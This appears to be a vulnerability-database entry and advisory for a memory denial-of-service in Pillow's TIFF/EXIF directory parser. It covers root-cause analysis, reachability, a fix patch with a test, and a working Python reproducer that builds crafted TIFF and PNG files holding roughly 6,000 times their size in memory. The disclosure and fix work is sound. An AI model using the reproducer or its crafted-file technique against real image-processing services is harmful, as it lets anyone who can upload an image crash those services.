CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- 2.3.0 → <13.0.0 · fixed in 13.0.0
- Weakness
- CWE-770
- Linked via
- product (CPE / vendor)
- Sources
- NVD
- Dates
- published Nov 5, 2026 · first seen here 3 min ago
CVSS score: not rated Severity: Medium Identifier: CVE-2026-128066GHSA-WQGW-9XFH-QF2G Pillow: Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data Package: pillow fixed in 13.0.0 Published Published
============================================================================
ANT-2026-D7STJUWL [medium] CWE-770 dos
Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data
Location: src/PIL/TiffImagePlugin.py:927 in ImageFileDirectory_v2.load()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
A small, crafted image file can make Pillow use thousands of times its own size in memory while the file is only being opened, which lets anyone who can submit an image crash or stall the process handling it. A 144 KB TIFF makes Image.open() return normally while holding 1.6 GiB of memory. The largest such standard TIFF, about 786 KB, asks for roughly 48 GiB, which in practice gets the worker killed by the operating system. The file declares a 1×1 image, so the decompression-bomb check never triggers and no warning is raised. There is no memory corruption; the impact is denial of service.
The bug is in ImageFileDirectory_v2.load() in src/PIL/TiffImagePlugin.py (around line 927). For every directory entry whose value is stored elsewhere in the file, it reads that value into a new bytes object with ImageFile._safe_read(fp, count * unit_size) and keeps it in _tagdata. _safe_read() only checks that the bytes exist. Nothing limits the total read across entries, and nothing stops every entry from pointing at the same bytes. An attacker can therefore give each of N distinct private tags an offset and count that covers the whole file, at a cost of 12 bytes per entry. Memory grows as N × file size, which is quadratic in the file size, and BigTIFF removes the 65,535-entry ceiling.
The same loop parses EXIF data, so the problem reaches beyond TIFF:
- A 66 KB JPEG APP1 segment costs about 340 MiB inside
Image.open()itself, via_read_dpi_from_exif(). - A 96 KB PNG
eXIfchunk costs 754 MiB ongetexif()orImageOps.exif_transpose(). - WebP EXIF and MPO reach the same code.
The attached reproducer builds a 72 KB TIFF and a 72 KB PNG. Using only Image.open() and getexif(), each causes 412 MiB of tag data to be retained, about 6,000 times the file size. The loop dates to the original PIL 1.1.7 import, so every Pillow release since 1.0 is affected.
Details
TiffImagePlugin.ImageFileDirectory_v2.load() reads the out-of-line value of every IFD entry into its own bytes object and keeps it in self._tagdata. Nothing bounds the sum of those reads, and nothing prevents every entry from pointing at the same region of the file. An IFD with N entries whose (offset, count) each cover the whole file therefore costs N × filesize bytes of memory, while the IFD itself costs only 12 bytes per entry. This one loop is the IFD parser for TIFF frames and for Image.Exif alike, so it is reachable from Image.open() on a TIFF or JPEG and from getexif() / ImageOps.exif_transpose() on PNG, JPEG, WebP and MPO.
Observed on the stock build at this commit: a valid 144,110-byte 1×1 greyscale TIFF with 12,000 such entries makes Image.open() return normally (no exception, no warning, 1 declared pixel so MAX_IMAGE_PIXELS is irrelevant) after 1.5 s, with the process RSS grown from 15 MiB to 1,671 MiB and im.tag_v2 holding 1,649 MiB of tag data for as long as the image object lives. The same IFD placed in the eXIf chunk of a 96 KB PNG makes im.getexif() retain 754 MiB. A 65,870-byte JPEG whose APP1 Exif segment is such an IFD (5,400 entries × 65,519 bytes) allocates ~340 MiB inside Image.open() itself, with no further call.
# src/PIL/TiffImagePlugin.py:902-946 (ImageFileDirectory_v2.load)
for i in range(tag_count):
tag, typ, count, data = ( … self._unpack("HHL4s", self._ensure_read(fp, 12)))
…
size = count * unit_size # 918: attacker-chosen
if size > (8 if self._bigtiff else 4):
here = fp.tell()
(offset,) = self._unpack("Q" if self._bigtiff else "L", data)
…
fp.seek(offset) # 926: attacker-chosen
data = ImageFile._safe_read(fp, size) # 927: new bytes object of `size`
fp.seek(here)
…
self._tagdata[tag] = data # 945: kept
self.tagtype[tag] = typ
ImageFile._safe_read() only guarantees that size bytes are actually present in the stream (it reads in SAFEBLOCK chunks and raises on truncation); it is a guard against allocating for data that does not exist, not against reading the same existing data many times. For a well-formed file each entry points at its own disjoint value, so the total read is at most the file size. For the crafted file every one of the N entries has a distinct tag number (so none overwrites another in _tagdata), type BYTE, count = filesize - 1 and offset = 1; each iteration allocates and fills a fresh filesize - 1-byte object and stores it. load() does not care whether the tag number is known or whether the type makes sense for it; any 16-bit tag number and any type in _load_dispatch is accepted. Memory is N × filesize, and since filesize ≈ 12 N, it is quadratic in the file size: 12,000 entries / 144 KB → 1.6 GiB (measured); the classic-TIFF maximum of 65,535 entries / 786 KB → ~48 GiB; BigTIFF (tag_count is a Q) has no 16-bit entry limit at all.
Reachability:
- TIFF:
TiffImageFile._open()(TiffImagePlugin.py:1187) →self._seek(0)(:1210) →self.tag_v2.load(self.fp)(:1258, and again at:1271). This runs insideImage.open(), beforeload()and before any size check (_decompression_bomb_checkonly looks atwidth × heightand is satisfied by the 1×1 image), and the resulting directory stays referenced asim.tag_v2._seek()parses the IFD twice, butreset()drops the first copy, so the peak does not double; it is paid again for every frame onseek()/n_frames. - EXIF in other formats:
Image.Exif.load()/load_from_fp()/_get_ifd_dict()(Image.py:4146-4196,:4119-4133) wrap the sameImageFileDirectory_v2.load()around the EXIF blob.PngImagePlugin.chunk_eXIf(PngImagePlugin.py:697) stores the whole chunk asinfo["exif"],JpegImagePluginconcatenates APP1Exifsegments intoinfo["exif"](JpegImagePlugin.py:114-117), and WebP exposes its EXIF chunk the same way;im.getexif(),ImageOps.exif_transpose()and_getexif()then parse it and keep the values inim._exif. For JPEG no explicit call is needed:JpegImageFile._open()ends withself._read_dpi_from_exif()(JpegImagePlugin.py:413), which callsgetexif()whenever no JFIF DPI is present, so the APP1 IFD is parsed duringImage.open(). Note that an EXIF blob is parsed into several IFDs (main, EXIF, GPS, Interop via_get_ifd_dict), each through its ownload()call.
The only failure path in load() is except OSError → warning; running out of memory is not an OSError, so on Linux the realistic outcome for a larger N is the kernel OOM killer terminating the process rather than a Python exception.
The loop predates Pillow: it came in with the PIL 1.1.7 import in 9a640e315715 ("Forking PIL", 2010-07-30) and was carried over unchanged into ImageFileDirectory_v2, so every release since 1.0 is affected. The per-tag _safe_read bounding added in the CVE-2019-16865 era does not address the sum.
Impact
Any service that calls Image.open() on an uploaded TIFF or JPEG — or getexif() / ImageOps.exif_transpose() on an uploaded PNG, JPEG or WebP, which thumbnailers routinely do to honour orientation — can be made to allocate and retain memory roughly entries × filesize, i.e. thousands of times the upload size, from a file of a few hundred KB that declares a 1×1 image and passes the decompression-bomb check. A ~800 KB TIFF requests ~48 GiB; in practice the worker (or its container) is OOM-killed within seconds, taking down all requests it was serving, and repeated uploads keep it down. No pixel decoding, load(), or further API call is required for the TIFF and JPEG cases, MAX_IMAGE_PIXELS does not apply, and no DecompressionBomb* warning gives the application a chance to refuse the file. There is no memory corruption; the effect is denial of service of the process handling the input.
This is the same class as CVE-2021-27921/27922/27923 (BLP/ICNS/ICO "arbitrarily large memory allocations" from unchecked reported sizes, fixed in 8.1.2) and CVE-2021-28675 (PSD layer count not checked against the data size, DoS on Image.open() prior to load()), here in the TIFF/EXIF directory parser shared by several formats.
Reproducing
repro is a single Python script that runs against the stock Pillow in /src; nothing is compiled. It needs about 1 GB of free RAM (it caps its own address space at 4 GiB so that a larger run ends in MemoryError rather than the OOM killer).
Input. aliased_ifd() builds, in memory, a little-endian classic TIFF: an 8-byte header, one IFD, nothing else. Every crafted entry is a private tag (1000 upwards) of type BYTE with offset = 1 and count = file size - 1, i.e. each claims the whole file body as its value. Each costs 12 bytes in the file but a full file-sized read in ImageFileDirectory_v2.load().
TIFF path. The first file adds 8 ordinary tags (ImageWidth = ImageLength = 1, BitsPerSample = 8, no compression, BlackIsZero, one 1-byte strip pointing at a header byte) so that Pillow accepts it as a 1×1 L image, plus 6,000 aliased tags (72,110 bytes). Because the image is 1×1, MAX_IMAGE_PIXELS never comes into play. The script calls Image.open() on it and nothing else: no load(), no pixel access.
EXIF path. The same 6,000-entry IFD (without the image tags) is passed as exif= when saving a 1×1 PNG, so it lands in an eXIf chunk; the script opens that PNG and calls im.getexif(), which is what ImageOps.exif_transpose() calls.
Check. For each path the script reads VmRSS from /proc/self/status before and after, and adds up len() over the resulting directory's _tagdata. In a well-formed IFD each entry points at its own bytes, so the tag data can never be larger than the file. The script prints BUG if both the TIFF's im.tag_v2 and the PNG's EXIF directory hold more than 2000× the size of their file, otherwise OK. On this commit each holds 412 MiB (~6000× the file) and RSS grows by about as much for each.
The memory cost is entries × file size, and the file size itself grows at 12 bytes per entry, so the cost is quadratic: doubling to 12,000 entries (144 KB) gives the 1.6 GiB quoted above, and the classic-TIFF maximum of 65,535 entries (~786 KB file) comes to ~48 GiB. A JPEG APP1 segment or a WebP EXIF chunk carrying the same IFD behaves like the PNG case (for JPEG, already during Image.open()).
Suggested fix
The attached patch bounds the out-of-line tag data a single ImageFileDirectory_v2.load() call may pull in by the length of the stream it reads from. The values of a well-formed IFD do not overlap, so their total can never exceed the file; only aliased entries can push past it. load() now measures the stream once on entry (fp.seek(0, io.SEEK_END), then back to self._offset; load() already requires a seekable fp, since both the TIFF plugin and Exif do), keeps a running total_size of out-of-line values, and, before the fp.seek(offset) / _safe_read() at TiffImagePlugin.py:926-927, warns "Tag data larger than file. Skipping tag …" and continues for any entry that would take the total past the file size, in the same warn-and-skip idiom as the existing "Tag offset too large" check. No fixed constant is introduced and no valid file changes behaviour, including TIFFs with very large Photoshop/ImageSourceData (tag 37724) payloads, which routinely exceed 64 MB. Because Image.Exif, the PNG/JPEG/WebP EXIF paths and MPO all go through this one method, they are covered too. The patch adds test_tag_data_larger_than_file to Tests/test_file_tiff_metadata.py, next to test_tag_offset. With it applied, both paths in the reproducer drop to 1× the file size. One visible side effect: a single oversize entry now skips that tag with this warning instead of aborting the rest of the IFD via the OSError path.
A fixed module-level cap in the style of PngImagePlugin.MAX_TEXT_MEMORY (e.g. a 64 MiB TiffImagePlugin.MAX_IFD_DATA) would be the weaker alternative on its own: a 140 KB file could still retain ~63 MiB per IFD — and a JPEG's EXIF is parsed into several IFDs (main, EXIF, GPS, Interop), so a 66 KB APP1 segment could still request roughly 1000× its size — and legitimate TIFFs with more than 64 MiB of tag data would lose those tags with a warning. It could still be added on top of the stream-length check as a user-adjustable knob.
An alternative that removes the amplification entirely is to store (offset, size) in _tagdata and read lazily in __getitem__, which is what the class docstring already describes ("we don't decode tags unless they're asked for"); that is a larger change because _tagdata is shared with ImageFileDirectory_v1 (from_v2/to_v2) and exposed as the legacy tagdata property, and lazy reads would need the file object to still be open when a tag is first accessed.
The patch
Skip IFD entries once the total out-of-line tag data read by ImageFileDirectory_v2.load() would exceed the size of the stream
Applies to src/PIL/TiffImagePlugin.py at the commit above.
diff --git a/Tests/test_file_tiff_metadata.py b/Tests/test_file_tiff_metadata.py
index 7b35a0196..ccf923128 100644
--- a/Tests/test_file_tiff_metadata.py
+++ b/Tests/test_file_tiff_metadata.py
@@ -500,6 +500,21 @@ def test_tag_offset() -> None:
ifd.load(f)
+def test_tag_data_larger_than_file() -> None:
+ ifd = TiffImagePlugin.ImageFileDirectory_v2()
+
+ # Two BYTE tags that both claim the whole 30 byte IFD as their value
+ tag_count = struct.pack("<H", 2)
+ tags = struct.pack("<HHLL", 0, 1, 30, 0) + struct.pack("<HHLL", 1, 1, 30, 0)
+ next_offset = struct.pack("<L", 0)
+
+ f = io.BytesIO(tag_count + tags + next_offset)
+ with pytest.warns(UserWarning, match="Tag data larger than file"):
+ ifd.load(f)
+ assert len(ifd[0]) == 30
+ assert 1 not in ifd
+
+
def test_tag_group_data() -> None:
base_ifd = TiffImagePlugin.ImageFileDirectory_v2()
interop_ifd = TiffImagePlugin.ImageFileDirectory_v2(group=40965)
diff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py
index 42c1cc96c..c9d506933 100644
--- a/src/PIL/TiffImagePlugin.py
+++ b/src/PIL/TiffImagePlugin.py
@@ -892,6 +892,9 @@ class ImageFileDirectory_v2(_IFDv2Base):
def load(self, fp: IO[bytes]) -> None:
self.reset()
self._offset = fp.tell()
+ fp.seek(0, io.SEEK_END)
+ file_size = fp.tell()
+ fp.seek(self._offset)
try:
tag_count = (
@@ -899,6 +902,7 @@ class ImageFileDirectory_v2(_IFDv2Base):
if self._bigtiff
else self._unpack("H", self._ensure_read(fp, 2))
)[0]
+ total_size = 0
for i in range(tag_count):
tag, typ, count, data = (
self._unpack("HHQ8s", self._ensure_read(fp, 20))
@@ -923,6 +927,16 @@ class ImageFileDirectory_v2(_IFDv2Base):
if offset >= 2**63:
warnings.warn("Tag offset too large")
continue
+ # The values of a well-formed IFD do not overlap, so in
+ # total they cannot be larger than the file they are read
+ # from. Do not let entries that alias the same bytes load
+ # many copies of it.
+ total_size += size
+ if total_size > file_size:
+ warnings.warn(
+ f"Tag data larger than file. Skipping tag {tag}"
+ )
+ continue
fp.seek(offset)
data = ImageFile._safe_read(fp, size)
fp.seek(here)
The reproducer
Reproducer — repro, 2,254 bytes (click to open)
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
#!/usr/bin/env python3
# ImageFileDirectory_v2.load(): N IFD entries that all alias the file body make
# Image.open() (TIFF) and getexif() (PNG eXIf etc.) retain ~N copies of the file.
# Pure Python, stock Pillow in /src. Needs ~1 GB RAM, runs in ~1 s.
import io, struct, resource
from PIL import Image
resource.setrlimit(resource.RLIMIT_AS, (4 << 30, 4 << 30)) # MemoryError, not OOM-killer
def aliased_ifd(n_alias, real=()):
"""Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file."""
n = len(real) + n_alias
size = 8 + 2 + 12 * n + 4
ents = {t: struct.pack("<HHLL", t, typ, 1, v) for t, (typ, v) in dict(real).items()}
for t in range(1000, 1000 + n_alias):
ents[t] = struct.pack("<HHLL", t, 1, size - 1, 1) # BYTE[size-1] @ offset 1
blob = b"II*\0" + struct.pack("<LH", 8, n) + b"".join(ents[t] for t in sorted(ents)) + b"\0" * 4
assert len(blob) == size
return blob
def rss():
return next(int(l.split()[1]) << 10 for l in open("/proc/self/status") if l.startswith("VmRSS"))
# 1) TIFF: 1x1 L image (pixel = a header byte) + 6000 aliased private tags -> Image.open() only
real = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),
273: (4, 8), 278: (3, 1), 279: (4, 1)}
tif = aliased_ifd(6000, real)
r0 = rss(); im = Image.open(io.BytesIO(tif)); r1 = rss()
held_t = sum(len(v) for v in im.tag_v2._tagdata.values())
print(f"TIFF {len(tif)} B, {im.size} {im.mode}: Image.open() keeps {held_t >> 20} MiB of tag data "
f"({held_t // len(tif)}x file); RSS {r0 >> 20} -> {r1 >> 20} MiB")
# 2) Same IFD as EXIF in a 1x1 PNG -> im.getexif() (what ImageOps.exif_transpose calls)
exif = aliased_ifd(6000)
buf = io.BytesIO(); Image.new("L", (1, 1)).save(buf, "PNG", exif=exif); png = buf.getvalue()
r0 = rss(); im2 = Image.open(io.BytesIO(png)); e = im2.getexif(); r1 = rss()
held_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0
print(f"PNG {len(png)} B: getexif() keeps {held_e >> 20} MiB ({held_e // len(png)}x file); "
f"RSS {r0 >> 20} -> {r1 >> 20} MiB")
# A well-formed IFD's values cannot exceed the stream they come from (1x).
print("BUG" if held_t > 2000 * len(tif) and held_e > 2000 * len(png) else "OK")
- Exploitation
- No known exploitation
- EPSS
- 0.52% chance of exploitation in the next 30 days, higher than 37.8% of CVEs
- CVSS
- not rated yet
- Versions
- <= 12.3.0 · fixed in 13.0.0
- Weakness
- CWE-770
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 12, 2026 · first seen here 6 min ago